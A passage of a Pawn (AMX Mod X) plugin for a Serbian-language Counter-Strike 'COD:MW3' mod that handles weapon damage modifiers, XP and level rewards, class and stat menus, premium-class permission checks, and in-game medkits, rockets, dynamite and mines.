  1599. if(informacije_predmet_igraca[this][0] == 2 || informacije_predmet_igraca[this][0] == 3)
  1600. damage-=(float(informacije_predmet_igraca[this][1])<damage)? float(informacije_predmet_igraca[this][1]): damage;
  1601.  
  1602. if(informacije_predmet_igraca[idattacker][0] == 5 && !UTIL_In_FOV(this, idattacker) && UTIL_In_FOV(idattacker, this))
  1603. damage*=2.0;
  1604.  
  1605. if(informacije_predmet_igraca[idattacker][0] == 10)
  1606. damage+=informacije_predmet_igraca[idattacker][1];
  1607.  
  1608. if(informacije_predmet_igraca[this][0] == 12)
  1609. damage-=(5.0<damage)? 5.0: damage;
  1610.  
  1611. if(klasa_igraca[idattacker] == Chipsy_ratnik && weapon == CSW_SCOUT)
  1612. damage=float(health);
  1613.  
  1614. if(weapon == CSW_AWP && informacije_predmet_igraca[idattacker][0] == 13)
  1615. damage=float(health);
  1616.  
  1617. if(weapon == CSW_DEAGLE && informacije_predmet_igraca[idattacker][0] == 29)
  1618. damage=float(health);
  1619.  
  1620. if(weapon == CSW_M249 && informacije_predmet_igraca[idattacker][0] == 30 || informacije_predmet_igraca[idattacker][0] == 20)
  1621.  
  1622. if(informacije_predmet_igraca[idattacker][0] == 21)
  1623. damage+=10;
  1624.  
  1625. if(informacije_predmet_igraca[idattacker][0] == 22)
  1626. damage+=20;
  1627.  
  1628. if(informacije_predmet_igraca[idattacker][0] == 31)
  1629. damage+=100;
  1630.  
  1631. if(idinflictor != idattacker && entity_get_int(idinflictor, EV_INT_movetype) != 5)
  1632. {
  1633. if((informacije_predmet_igraca[idattacker][0] == 9 && random_num(1, informacije_predmet_igraca[idattacker][1]) == 1) || informacije_predmet_igraca[idattacker][0] == 10)
  1634. damage = float(health);
  1635. }
  1636.  
  1637. if(weapon == CSW_KNIFE)
  1638. {
  1639. if(klasa_igraca[this] == SWAT)
  1640. return HAM_SUPERCEDE;
  1641. if(informacije_predmet_igraca[this][0] == 4)
  1642. damage=damage*1.4+inteligencija_igraca[idattacker];
  1643. if(informacije_predmet_igraca[idattacker][0] == 8 || (klasa_igraca[idattacker] == Snajperista && random_num(1,2) == 1) || klasa_igraca[idattacker] == Marinac || klasa_igraca[idattacker] == Assassin&& !(get_user_button(idattacker) & IN_ATTACK))
  1644. damage = float(health);
  1645. }
  1646. if(informacije_predmet_igraca[this][0] == 26 && random_num(1, informacije_predmet_igraca[this][1]) == 1)
  1647. {
  1648. SetHamParamEntity(3, this);
  1649. SetHamParamEntity(1, idattacker);
  1650. }
  1651.  
  1652.  
  1653. SetHamParamFloat(4, damage);
  1654. return HAM_IGNORED;
  1655. }
  1656.  
  1657. public Damage(id)
  1658. {
  1659. new attacker = get_user_attacker(id);
  1660. new damage = read_data(2);
  1661. if(!is_user_alive(attacker) || !is_user_connected(attacker) || id == attacker || !klasa_igraca[attacker])
  1662. return PLUGIN_CONTINUE;
  1663.  
  1664. if(informacije_predmet_igraca[attacker][0] == 12 && random_num(1, informacije_predmet_igraca[id][1]) == 1)
  1665. Display_Fade(id,1<<14,1<<14 ,1<<16,255,155,50,230);
  1666.  
  1667. if(informacije_predmet_igraca[attacker][1] == 31)
  1668. damage+=100;
  1669.  
  1670. if(get_user_team(id) != get_user_team(attacker))
  1671. {
  1672. while(damage>20)
  1673. {
  1674. damage-=20;
  1675. iskustvo_igraca[attacker]++;
  1676. }
  1677. }
  1678. ProveriNivo(attacker);
  1679. return PLUGIN_CONTINUE;
  1680. }
  1681.  
  1682. public Death()
  1683. {
  1684. new id = read_data(2);
  1685. new attacker = read_data(1);
  1686.  
  1687. if(!is_user_alive(attacker) || !is_user_connected(attacker))
  1688. return PLUGIN_CONTINUE;
  1689.  
  1690. new weapon = get_user_weapon(attacker);
  1691. new energija = get_user_health(attacker);
  1692.  
  1693. if(get_user_team(id) != get_user_team(attacker) && klasa_igraca[attacker])
  1694. {
  1695. new novo_iskustvo = 0;
  1696.  
  1697. novo_iskustvo += iskustvo_za_ubistvo;
  1698.  
  1699. if(klasa_igraca[id] == Rambo && klasa_igraca[attacker] != Rambo)
  1700. novo_iskustvo += iskustvo_za_ubistvo*2;
  1701.  
  1702. if(level_igraca[id] > level_igraca[attacker])
  1703. novo_iskustvo += level_igraca[id] - level_igraca[attacker];
  1704.  
  1705. if(klasa_igraca[attacker] == Rambo || informacije_predmet_igraca[attacker][0] == 15 && maxClip[weapon] != -1)
  1706. {
  1707.  
  1708. new nova_energija = (energija+20<maximalna_energija_igraca[attacker])? energija+20: maximalna_energija_igraca[attacker];
  1709. set_user_clip(attacker, maxClip[weapon]);
  1710. set_user_health(attacker, nova_energija);
  1711. }
  1712. #if defined BOTY
  1713. if(is_user_bot2(attacker) && random(9) == 0)
  1714. IzbaciPredmet(id);
  1715. #endif
  1716. if(!informacije_predmet_igraca[attacker][0])
  1717. DajPredmet(attacker, random_num(1, sizeof naziv_predmeta-1));
  1718.  
  1719. if(informacije_predmet_igraca[attacker][0] == 14)
  1720. {
  1721. new nova_energija = (energija+50<maximalna_energija_igraca[attacker])? energija+50: maximalna_energija_igraca[attacker];
  1722. set_user_health(attacker, nova_energija);
  1723. }
  1724.  
  1725. set_hudmessage(255, 212, 0, 0.50, 0.33, 1, 6.0, 4.0);
  1726. ShowSyncHudMsg(attacker, SyncHudObj2, "+%i", novo_iskustvo);
  1727.  
  1728. iskustvo_igraca[attacker] += novo_iskustvo;
  1729. }
  1730.  
  1731. ProveriNivo(attacker);
  1732.  
  1733. if(informacije_predmet_igraca[id][0] == 7 && random_num(1, informacije_predmet_igraca[id][1]) == 1)
  1734. set_task(0.1, "Provera", id+ZADATAK_PROVERA);
  1735.  
  1736. return PLUGIN_CONTINUE;
  1737. }
  1738.  
  1739. public client_authorized(id)
  1740. {
  1741. //resetuje vestine
  1742. klasa_igraca[id] = 0;
  1743. level_igraca[id] = 0;
  1744. iskustvo_igraca[id] = 0;
  1745. poeni_igraca[id] = 0;
  1746. energija_igraca[id] = 0;
  1747. inteligencija_igraca[id] = 0;
  1748. snaga_igraca[id] = 0;
  1749. kondicija_igraca[id] = 0;
  1750. maximalna_energija_igraca[id] = 0;
  1751. brzina_igraca[id] = 0.0;
  1752.  
  1753. get_user_authid(id, ID_igraca[id], 34);
  1754.  
  1755. remove_task(id+ZADATAK_POKAZI_INFORMACIJE);
  1756. remove_task(id+ZADATAK_POKAZI_REKLAME);
  1757. remove_task(id+ZADATAK_POSTAVI_brzinu);
  1758. remove_task(id+ZADATAK_PROVERA);
  1759. remove_task(id+ZADATAK_WYSZKOLENIE_SANITARNE);
  1760.  
  1761. set_task(10.0, "PokaziReklame", id+ZADATAK_POKAZI_REKLAME);
  1762. set_task(3.0, "PokaziInformacije", id+ZADATAK_POKAZI_INFORMACIJE);
  1763.  
  1764. //resetuje predmety
  1765. Obrisipredmet(id);
  1766. }
  1767.  
  1768. public client_disconnect(id)
  1769. {
  1770. remove_task(id+ZADATAK_POKAZI_INFORMACIJE);
  1771. remove_task(id+ZADATAK_POKAZI_REKLAME);
  1772. remove_task(id+ZADATAK_POSTAVI_brzinu);
  1773. remove_task(id+ZADATAK_PROVERA);
  1774. remove_task(id+ZADATAK_WYSZKOLENIE_SANITARNE);
  1775.  
  1776. SacuvajPodatke(id);
  1777. Obrisipredmet(id);
  1778. }
  1779.  
  1780. public PrebrojBombe(id)
  1781. if(klasa_igraca[id])
  1782. deaktivirana = id;
  1783.  
  1784. public BombaPostavljena()
  1785. {
  1786. new Players[32], playerCount, id;
  1787. get_players(Players, playerCount, "aeh", "TERRORIST");
  1788.  
  1789. if(get_playersnum() > 1)
  1790. {
  1791. iskustvo_igraca[postavljena] += iskustvo_za_c4;
  1792. for (new i=0; i<playerCount; i++)
  1793. {
  1794. id = Players[i];
  1795. if(!klasa_igraca[id])
  1796. continue;
  1797.  
  1798. if(id != postavljena)
  1799. {
  1800. iskustvo_igraca[id] += iskustvo_za_ubistvo;
  1801. ColorChat(id, NORMAL, "^4[COD:MW3] ^1Dobio si ^3%i ^1xp zato sto je tvoj tim postavio bombu.", iskustvo_za_ubistvo);
  1802. }
  1803. else
  1804. {
  1805. ColorChat(id, NORMAL, "^4[COD:MW3] ^1Dobio si ^3%i ^1xp zato sto si postavio bombu.", iskustvo_za_c4);
  1806. }
  1807. ProveriNivo(id);
  1808. }
  1809. }
  1810. }
  1811.  
  1812. public BombaDeaktivirana()
  1813. {
  1814. new Players[32], playerCount, id;
  1815. get_players(Players, playerCount, "aeh", "CT");
  1816.  
  1817. iskustvo_igraca[deaktivirana] += iskustvo_za_c4;
  1818. for (new i=0; i<playerCount; i++)
  1819. {
  1820. id = Players[i];
  1821. if(!klasa_igraca[id])
  1822. continue;
  1823. if(id != deaktivirana)
  1824. {
  1825. iskustvo_igraca[id]+= iskustvo_za_ubistvo;
  1826. ColorChat(id, NORMAL, "^4[COD:MW3] ^1Dobio si ^3%i ^1xp zato sto je tvoj tim deaktivirao bombu.", iskustvo_za_ubistvo);
  1827. }
  1828. else
  1829. ColorChat(id, NORMAL, "^4[COD:MW3] ^1Dobio si ^3%i % ^1xp zato sto si deaktivirao bombu.",iskustvo_za_c4);
  1830. ProveriNivo(id);
  1831. }
  1832. }
  1833.  
  1834. public OpisKlase(id)
  1835. {
  1836. new menu = menu_create("Izaberi Klasu:", "OpisKlase_Handle");
  1837. for(new i=1; i<sizeof naziv_klase; i++)
  1838. menu_additem(menu, naziv_klase[i]);
  1839. menu_setprop(menu, MPROP_EXITNAME, "Izlaz");
  1840. menu_setprop(menu, MPROP_BACKNAME, "Prethodna strana");
  1841. menu_setprop(menu, MPROP_NEXTNAME, "Sledeca strana");
  1842. menu_display(id, menu);
  1843.  
  1844. client_cmd(id, "spk QTM_CodMod/select");
  1845. }
  1846.  
  1847. public OpisKlase_Handle(id, menu, item)
  1848. {
  1849. client_cmd(id, "spk QTM_CodMod/select");
  1850.  
  1851. if(item == MENU_EXIT)
  1852. {
  1853. menu_destroy(menu);
  1854. return PLUGIN_CONTINUE;
  1855. }
  1856. ColorChat(id, NORMAL, "^4[COD:MW3] ^3%s: %s", naziv_klase[item+1], opis_klase[item+1]);
  1857. menu_display(id, menu);
  1858.  
  1859. return PLUGIN_CONTINUE;
  1860. }
  1861.  
  1862. public IzaberiKlasu(id)
  1863. {
  1864. new menu = menu_create("Izaberi klasu:", "IzaberiKlasu_Handle");
  1865. new klasa[50];
  1866. for(new i=1; i<sizeof naziv_klase; i++)
  1867. {
  1868. UcitajPodatke(id, i);
  1869. format(klasa, 49, "%s \yLevel: %i", naziv_klase[i], level_igraca[id]);
  1870. menu_additem(menu, klasa);
  1871. }
  1872.  
  1873. UcitajPodatke(id, klasa_igraca[id]);
  1874.  
  1875. menu_setprop(menu, MPROP_EXITNAME, "Izlaz");
  1876. menu_setprop(menu, MPROP_BACKNAME, "Prethodna strana");
  1877. menu_setprop(menu, MPROP_NEXTNAME, "Sledeca strana");
  1878. menu_display(id, menu);
  1879.  
  1880. client_cmd(id, "spk QTM_CodMod/select");
  1881. #if defined BOTY
  1882. if(is_user_bot2(id))
  1883. IzaberiKlasu_Handle(id, menu, random(sizeof naziv_klase-1));
  1884. #endif
  1885. }
  1886.  
  1887. public IzaberiKlasu_Handle(id, menu, item)
  1888. {
  1889. client_cmd(id, "spk QTM_CodMod/select");
  1890.  
  1891. if(item == MENU_EXIT)
  1892. {
  1893. menu_destroy(menu);
  1894. return PLUGIN_CONTINUE;
  1895. }
  1896.  
  1897. item++;
  1898.  
  1899. if(item == klasa_igraca[id])
  1900. return PLUGIN_CONTINUE;
  1901.  
  1902. if(item == Rambo && !(get_user_flags(id) & ADMIN_KICK))
  1903. {
  1904. ColorChat(id, NORMAL, "^4[COD:MW3] ^1Nemate dozvolu za Premium Klasu - Ako Zelis Da Kupis Poseti Forum.");
  1905. IzaberiKlasu(id);
  1906. return PLUGIN_CONTINUE;
  1907.  
  1908. }
  1909.  
  1910. if(item == Assassin && !(get_user_flags(id) & ADMIN_LEVEL_H))
  1911. {
  1912. ColorChat(id, NORMAL, "^4[COD:MW3] ^1Nemate dozvolu za Premium Klasu - Ako Zelis Da Kupis Poseti Forum.");
  1913. IzaberiKlasu(id);
  1914. return PLUGIN_CONTINUE;
  1915. }
  1916.  
  1917. if(item == Major && !(get_user_flags(id) & ADMIN_KICK))
  1918. {
  1919. ColorChat(id, NORMAL, "^4[COD:MW3] ^1Nemate dozvolu za Premium Klasu - Ako Zelis Da Kupis Poseti Forum.");
  1920. IzaberiKlasu(id);
  1921. return PLUGIN_CONTINUE;
  1922. }
  1923.  
  1924. if(item == Armageddon && !(get_user_flags(id) & ADMIN_LEVEL_H))
  1925. {
  1926. ColorChat(id, NORMAL, "^4[COD:MW3] ^1Nemate dozvolu za Premium Klasu - Ako Zelis Da Kupis Poseti Forum.");
  1927. IzaberiKlasu(id);
  1928. return PLUGIN_CONTINUE;
  1929. }
  1930.  
  1931. if(item == Ratko_Mladic && !(get_user_flags(id) & ADMIN_KICK))
  1932. {
  1933. ColorChat(id, NORMAL, "^4[COD:MW3] ^1Nemate dozvolu za Premium Klasu - Ako Zelis Da Kupis Poseti Forum.");
  1934. IzaberiKlasu(id);
  1935. return PLUGIN_CONTINUE;
  1936. }
  1937.  
  1938. if(item == General && !(get_user_flags(id) & ADMIN_KICK))
  1939. {
  1940. ColorChat(id, NORMAL, "^4[COD:MW3] ^1Nemate dozvolu za Premium Klasu - Ako Zelis Da Kupis Poseti Forum.");
  1941. IzaberiKlasu(id);
  1942. return PLUGIN_CONTINUE;
  1943. }
  1944.  
  1945. if(item == Slayer && !(get_user_flags(id) & ADMIN_KICK))
  1946. {
  1947. ColorChat(id, NORMAL, "^4[COD:MW3] ^1Nemate dozvolu za Premium Klasu - Ako Zelis Da Kupis Poseti Forum.");
  1948. IzaberiKlasu(id);
  1949. return PLUGIN_CONTINUE;
  1950. }
  1951.  
  1952. if(item == Fighter && !(get_user_flags(id) & ADMIN_KICK))
  1953. {
  1954. ColorChat(id, NORMAL, "^4[COD:MW3] ^1Nemate dozvolu za Premium Klasu - Ako Zelis Da Kupis Poseti Forum.");
  1955. IzaberiKlasu(id);
  1956. return PLUGIN_CONTINUE;
  1957. }
  1958.  
  1959. if(klasa_igraca[id])
  1960. {
  1961. nova_klasa_igraca[id] = item;
  1962. ColorChat(id, NORMAL, "^4[COD:MW3] ^1Klasa ce biti izmenjena u sledecoj rundi.");
  1963. }
  1964. else
  1965. {
  1966. klasa_igraca[id] = item;
  1967. UcitajPodatke(id, klasa_igraca[id]);
  1968. Pocetak(id);
  1969. }
  1970. return PLUGIN_CONTINUE;
  1971. }
  1972.  
  1973. public DodelaPoena(id)
  1974. {
  1975. new inteligencija[65];
  1976. new energija[60];
  1977. new snaga[60];
  1978. new kondicija[60];
  1979. new naslov[25];
  1980. format(inteligencija, 64, "Inteligencija: \r%i \y(Povecava napad)", inteligencija_igraca[id]);
  1981. format(energija, 59, "Energija: \r%i \y(Povecaca energiju)", energija_igraca[id]);
  1982. format(snaga, 59, "Snaga: \r%i \y(Smanjuje povrede)", snaga_igraca[id]);
  1983. format(kondicija, 59, "Kondicija: \r%i \y(Povecava tempo hodanja)", kondicija_igraca[id]);
  1984. format(naslov, 24, "Dodeli poena(%i):", poeni_igraca[id]);
  1985. new menu = menu_create(naslov, "DodelaPoena_Handler");
  1986. menu_additem(menu, inteligencija);
  1987. menu_additem(menu, energija);
  1988. menu_additem(menu, snaga);
  1989. menu_additem(menu, kondicija);
  1990. menu_display(id, menu);
  1991. #if defined BOTY
  1992. if(is_user_bot2(id))
  1993. DodelaPoena_Handler(id, menu, random(4));
  1994. #endif
  1995. }
  1996.  
  1997. public DodelaPoena_Handler(id, menu, item)
  1998. {
  1999. client_cmd(id, "spk QTM_CodMod/select");
  2000.  
  2001. if(item == MENU_EXIT)
  2002. {
  2003. menu_destroy(menu);
  2004. return PLUGIN_CONTINUE;
  2005. }
  2006.  
  2007. switch(item)
  2008. {
  2009. case 0:
  2010. {
  2011. if(inteligencija_igraca[id]<2000)
  2012. inteligencija_igraca[id]++;
  2013. else
  2014. ColorChat(id, NORMAL, "^4[COD:MW3] ^1Dostigli ste maximalni nivo inteligencije");
  2015.  
  2016. }
  2017. case 1:
  2018. {
  2019. if(energija_igraca[id]<2000)
  2020. energija_igraca[id]++;
  2021. else
  2022. ColorChat(id, NORMAL, "^4[COD:MW3] ^1Dostigli ste maximalni nivo energije");
  2023. }
  2024. case 2:
  2025. {
  2026. if(snaga_igraca[id]<2000)
  2027. snaga_igraca[id]++;
  2028. else
  2029. ColorChat(id, NORMAL, "^4[COD:MW3] ^1Dostigli ste maximalni nivo snage");
  2030.  
  2031. }
  2032. case 3:
  2033. {
  2034. if(kondicija_igraca[id]<2000)
  2035. kondicija_igraca[id]++;
  2036. else
  2037. ColorChat(id, NORMAL, "^4[COD:MW3] ^1Dostigli ste maximalni nivo kondicije");
  2038. }
  2039. }
  2040.  
  2041. poeni_igraca[id]--;
  2042.  
  2043. if(poeni_igraca[id]>0)
  2044. DodelaPoena(id);
  2045.  
  2046. return PLUGIN_CONTINUE;
  2047. }
  2048.  
  2049. public ResetujPoene(id)
  2050. {
  2051. poeni_igraca[id] = level_igraca[id]*2-2;
  2052. inteligencija_igraca[id] = 0;
  2053. energija_igraca[id] = 0;
  2054. kondicija_igraca[id] = 0;
  2055. snaga_igraca[id] = 0;
  2056. }
  2057.  
  2058. public KomandaResetujPoene(id)
  2059. {
  2060. ColorChat(id, NORMAL, "^4[COD:MW3] ^1Vestine ce biti resetovane u sledecoj rundi");
  2061. client_cmd(id, "spk QTM_CodMod/select");
  2062. igrac_resetuje[id] = true;
  2063. }
  2064.  
  2065. public WyszkolenieSanitarne(id)
  2066. {
  2067. id -= ZADATAK_WYSZKOLENIE_SANITARNE;
  2068. if(informacije_predmet_igraca[id][0] != 16)
  2069. return PLUGIN_CONTINUE;
  2070. set_task(5.0, "WyszkolenieSanitarne", id+ZADATAK_WYSZKOLENIE_SANITARNE);
  2071. if(!is_user_alive(id))
  2072. return PLUGIN_CONTINUE;
  2073. new health = get_user_health(id);
  2074. new new_health = (health+10<maximalna_energija_igraca[id])?health+10:maximalna_energija_igraca[id];
  2075. set_user_health(id, new_health);
  2076. return PLUGIN_CONTINUE;
  2077. }
  2078.  
  2079. public KreirajMedKit(id)
  2080. {
  2081. if (!broj_medkit_igraca[id])
  2082. {
  2083. client_print(id, print_center, "Imate samo 2 paketa za prvu pomoc u jednoj rundi!");
  2084. return PLUGIN_CONTINUE;
  2085. }
  2086.  
  2087. if(inteligencija_igraca[id] < 1)
  2088. client_print(id, print_center, "Da koristite paket za prvu pomoc, morate povecati inteligenciju");
  2089.  
  2090. broj_medkit_igraca[id]--;
  2091.  
  2092. new Float:origin[3];
  2093. entity_get_vector(id, EV_VEC_origin, origin);
  2094.  
  2095. new ent = create_entity("info_target");
  2096. entity_set_string(ent, EV_SZ_classname, "MedKit");
  2097. entity_set_edict(ent, EV_ENT_owner, id);
  2098. entity_set_int(ent, EV_INT_solid, SOLID_NOT);
  2099. entity_set_vector(ent, EV_VEC_origin, origin);
  2100. entity_set_float(ent, EV_FL_ltime, halflife_time() + 7 + 0.1);
  2101.  
  2102.  
  2103. entity_set_model(ent, "models/w_medkit.mdl");
  2104. set_rendering ( ent, kRenderFxGlowShell, 255,0,0, kRenderFxNone, 255 ) ;
  2105. drop_to_floor(ent);
  2106.  
  2107. entity_set_float(ent, EV_FL_nextthink, halflife_time() + 0.1);
  2108.  
  2109. return PLUGIN_CONTINUE;
  2110. }
  2111.  
  2112. public MedKitThink(ent)
  2113. {
  2114. new id = entity_get_edict(ent, EV_ENT_owner);
  2115. new totem_dist = 300;
  2116. new totem_heal = 5+floatround(inteligencija_igraca[id]*0.5);
  2117. if (entity_get_edict(ent, EV_ENT_euser2) == 1)
  2118. {
  2119. new Float:forigin[3], origin[3];
  2120. entity_get_vector(ent, EV_VEC_origin, forigin);
  2121. FVecIVec(forigin,origin);
  2122.  
  2123. new entlist[33];
  2124. new numfound = find_sphere_class(0,"player",totem_dist+0.0,entlist, 32,forigin);
  2125.  
  2126. for (new i=0; i < numfound; i++)
  2127. {
  2128. new pid = entlist[i];
  2129.  
  2130. if (get_user_team(pid) != get_user_team(id))
  2131. continue;
  2132.  
  2133. new energija = get_user_health(pid);
  2134. new nova_energija = (energija+totem_heal<maximalna_energija_igraca[pid])?energija+totem_heal:maximalna_energija_igraca[pid];
  2135. if (is_user_alive(pid)) set_user_health(pid, nova_energija);
  2136. }
  2137.  
  2138. entity_set_edict(ent, EV_ENT_euser2, 0);
  2139. entity_set_float(ent, EV_FL_nextthink, halflife_time() + 1.5);
  2140.  
  2141. return PLUGIN_CONTINUE;
  2142. }
  2143.  
  2144. if (entity_get_float(ent, EV_FL_ltime) < halflife_time() || !is_user_alive(id))
  2145. {
  2146. remove_entity(ent);
  2147. return PLUGIN_CONTINUE;
  2148. }
  2149.  
  2150. if (entity_get_float(ent, EV_FL_ltime)-2.0 < halflife_time())
  2151. set_rendering ( ent, kRenderFxNone, 255,255,255, kRenderTransAlpha, 100 ) ;
  2152.  
  2153. new Float:forigin[3], origin[3];
  2154. entity_get_vector(ent, EV_VEC_origin, forigin);
  2155. FVecIVec(forigin,origin);
  2156.  
  2157. //Find people near and give them health
  2158. message_begin( MSG_BROADCAST, SVC_TEMPENTITY, origin );
  2159. write_byte( TE_BEAMCYLINDER );
  2160. write_coord( origin[0] );
  2161. write_coord( origin[1] );
  2162. write_coord( origin[2] );
  2163. write_coord( origin[0] );
  2164. write_coord( origin[1] + totem_dist );
  2165. write_coord( origin[2] + totem_dist );
  2166. write_short( sprite_white );
  2167. write_byte( 0 ); // startframe
  2168. write_byte( 0 ); // framerate
  2169. write_byte( 10 ); // life
  2170. write_byte( 10 ); // width
  2171. write_byte( 255 ); // noise
  2172. write_byte( 255 ); // r, g, b
  2173. write_byte( 100 );// r, g, b
  2174. write_byte( 100 ); // r, g, b
  2175. write_byte( 128 ); // brightness
  2176. write_byte( 5 ); // speed
  2177. message_end();
  2178.  
  2179. entity_set_edict(ent, EV_ENT_euser2 ,1);
  2180. entity_set_float(ent, EV_FL_nextthink, halflife_time() + 0.5);
  2181.  
  2182.  
  2183. return PLUGIN_CONTINUE;
  2184.  
  2185. }
  2186.  
  2187. public KreirajRakete(id)
  2188. {
  2189. if (!broj_raketa_igraca[id])
  2190. {
  2191. client_print(id, print_center, "Vec ste iskoristili sve rakete!");
  2192. return PLUGIN_CONTINUE;
  2193. }
  2194.  
  2195. if(prethodna_raketa_igraca[id] + 2.0 > get_gametime())
  2196. {
  2197. client_print(id, print_center, "Mozate da koristite raketu za 2 sekunde!");
  2198. return PLUGIN_CONTINUE;
  2199. }
  2200.  
  2201. if (is_user_alive(id))
  2202. {
  2203. if(inteligencija_igraca[id] < 1)
  2204. client_print(id, print_center, "Da koristite rakete, morate povecati inteligenciju!");
  2205.  
  2206. prethodna_raketa_igraca[id] = get_gametime();
  2207. broj_raketa_igraca[id]--;
  2208.  
  2209. new Float: Origin[3], Float: vAngle[3], Float: Velocity[3];
  2210.  
  2211. entity_get_vector(id, EV_VEC_v_angle, vAngle);
  2212. entity_get_vector(id, EV_VEC_origin , Origin);
  2213.  
  2214. new Ent = create_entity("info_target");
  2215.  
  2216. entity_set_string(Ent, EV_SZ_classname, "Rocket");
  2217. entity_set_model(Ent, "models/rpgrocket.mdl");
  2218.  
  2219. vAngle[0] *= -1.0;
  2220.  
  2221. entity_set_origin(Ent, Origin);
  2222. entity_set_vector(Ent, EV_VEC_angles, vAngle);
  2223.  
  2224. entity_set_int(Ent, EV_INT_effects, 2);
  2225. entity_set_int(Ent, EV_INT_solid, SOLID_BBOX);
  2226. entity_set_int(Ent, EV_INT_movetype, MOVETYPE_FLY);
  2227. entity_set_edict(Ent, EV_ENT_owner, id);
  2228.  
  2229. VelocityByAim(id, 1000 , Velocity);
  2230. entity_set_vector(Ent, EV_VEC_velocity ,Velocity);
  2231. }
  2232. return PLUGIN_CONTINUE;
  2233. }
  2234.  
  2235. public KreirajDinamit(id)
  2236. {
  2237. if(!broj_dinamita_igraca[id])
  2238. {
  2239. client_print(id, print_center, "Vec ste iskoristili sav dinamit!");
  2240. return PLUGIN_CONTINUE;
  2241. }
  2242.  
  2243. if(inteligencija_igraca[id] < 1)
  2244. client_print(id, print_center, "Da koristite dinamit, morate povecati inteligenciju!");
  2245.  
  2246. broj_dinamita_igraca[id]--;
  2247. new Float:fOrigin[3], iOrigin[3];
  2248. entity_get_vector( id, EV_VEC_origin, fOrigin);
  2249. iOrigin[0] = floatround(fOrigin[0]);
  2250. iOrigin[1] = floatround(fOrigin[1]);
  2251. iOrigin[2] = floatround(fOrigin[2]);
  2252.  
  2253. message_begin(MSG_BROADCAST,SVC_TEMPENTITY, iOrigin);
  2254. write_byte(TE_EXPLOSION);
  2255. write_coord(iOrigin[0]);
  2256. write_coord(iOrigin[1]);
  2257. write_coord(iOrigin[2]);
  2258. write_short(sprite_blast);
  2259. write_byte(32);
  2260. write_byte(20);
  2261. write_byte(0);
  2262. message_end();
  2263.  
  2264. message_begin( MSG_BROADCAST, SVC_TEMPENTITY, iOrigin );
  2265. write_byte( TE_BEAMCYLINDER );
  2266. write_coord( iOrigin[0] );
  2267. write_coord( iOrigin[1] );
  2268. write_coord( iOrigin[2] );
  2269. write_coord( iOrigin[0] );
  2270. write_coord( iOrigin[1] + 300 );
  2271. write_coord( iOrigin[2] + 300 );
  2272. write_short( sprite_white );
  2273. write_byte( 0 ); // startframe
  2274. write_byte( 0 ); // framerate
  2275. write_byte( 10 ); // life
  2276. write_byte( 10 ); // width
  2277. write_byte( 255 ); // noise
  2278. write_byte( 255 ); // r, g, b
  2279. write_byte( 100 );// r, g, b
  2280. write_byte( 100 ); // r, g, b
  2281. write_byte( 128 ); // brightness
  2282. write_byte( 8 ); // speed
  2283. message_end();
  2284.  
  2285. new entlist[33];
  2286. new numfound = find_sphere_class(id, "player", 300.0 , entlist, 32);
  2287.  
  2288. for (new i=0; i < numfound; i++)
  2289. {
  2290. new pid = entlist[i];
  2291.  
  2292. if (!is_user_alive(pid) || get_user_team(id) == get_user_team(pid) || informacije_predmet_igraca[pid][0] == 24)
  2293. continue;
  2294. ExecuteHam(Ham_TakeDamage, pid, 0, id, 90.0+float(inteligencija_igraca[id]) , 1);
  2295. }
  2296. return PLUGIN_CONTINUE;
  2297. }
  2298.  
  2299. public PostaviMine(id)
  2300. {
  2301. if (!broj_min_igraca[id])
  2302. {
  2303. client_print(id, print_center, "Vec ste iskoristili sve mine!");
  2304. return PLUGIN_CONTINUE;
  2305. }
  2306.  
  2307. if(inteligencija_igraca[id] < 1)
  2308. client_print(id, print_center, "Da koristite mine, morate povecati inteligenciju!");
  2309.  
  2310. broj_min_igraca[id]--;
  2311.  
  2312. new Float:origin[3];
  2313. entity_get_vector(id, EV_VEC_origin, origin);
  2314.  
  2315. new ent = create_entity("info_target");
  2316. entity_set_string(ent ,EV_SZ_classname, "Mine");
  2317. entity_set_edict(ent ,EV_ENT_owner, id);
  2318. entity_set_int(ent, EV_INT_movetype, MOVETYPE_TOSS);
  2319. entity_set_origin(ent, origin);
  2320. entity_set_int(ent, EV_INT_solid, SOLID_BBOX);
  2321.  
  2322. entity_set_model(ent, "models/mine.mdl");
  2323. entity_set_size(ent,Float:{-16.0,-16.0,0.0},Float:{16.0,16.0,2.0});
  2324.  
  2325. drop_to_floor(ent);
  2326.  
  2327. entity_set_float(ent,EV_FL_nextthink,halflife_time() + 0.01) ;
  2328.  
  2329. set_rendering(ent,kRenderFxNone, 0,0,0, kRenderTransTexture,50) ;
  2330.  
  2331.  
  2332. return PLUGIN_CONTINUE;
  2333. }
  2334.  
  2335. public DodirMine(ent, id)
  2336. {
  2337. new attacker = entity_get_edict(ent, EV_ENT_owner);
  2338. if (get_user_team(attacker) != get_user_team(id))
  2339. {
  2340. new Float:fOrigin[3], iOrigin[3];
  2341. entity_get_vector( ent, EV_VEC_origin, fOrigin);
  2342. iOrigin[0] = floatround(fOrigin[0]);
  2343. iOrigin[1] = floatround(fOrigin[1]);
  2344. iOrigin[2] = floatround(fOrigin[2]);
  2345.  
  2346. message_begin(MSG_BROADCAST,SVC_TEMPENTITY, iOrigin);
  2347. write_byte(TE_EXPLOSION);
  2348. write_coord(iOrigin[0]);
  2349. write_coord(iOrigin[1]);
  2350. write_coord(iOrigin[2]);
  2351. write_short(sprite_blast);
  2352. write_byte(32); // scale
  2353. write_byte(20); // framerate
  2354. write_byte(0);// flags
  2355. message_end();
  2356. new entlist[33];
  2357. new numfound = find_sphere_class(ent,"player", 90.0 ,entlist, 32);
  2358.  
  2359. for (new i=0; i < numfound; i++)
  2360. {
  2361. new pid = entlist[i];
  2362.  
  2363. if (!is_user_alive(pid) || get_user_team(attacker) == get_user_team(pid) || informacije_predmet_igraca[pid][0] == 24 || klasa_igraca[id] == Mitraljezac)
  2364. continue;
  2365.  
  2366. ExecuteHam(Ham_TakeDamage, pid, ent, attacker, 90.0+float(inteligencija_igraca[attacker]) , 1);
  2367. }
  2368. remove_entity(ent);
  2369. }
  2370. }
  2371.  
  2372. public DodirRakete(ent)
  2373. {
  2374. if ( !is_valid_ent(ent))
  2375. return;
  2376.  
  2377. new attacker = entity_get_edict(ent, EV_ENT_owner);
  2378.  
  2379. new Float:fOrigin[3], iOrigin[3];
  2380. entity_get_vector( ent, EV_VEC_origin, fOrigin);
  2381. iOrigin[0] = floatround(fOrigin[0]);
  2382. iOrigin[1] = floatround(fOrigin[1]);
  2383. iOrigin[2] = floatround(fOrigin[2]);
  2384.  
  2385. message_begin(MSG_BROADCAST,SVC_TEMPENTITY, iOrigin);
  2386. write_byte(TE_EXPLOSION);
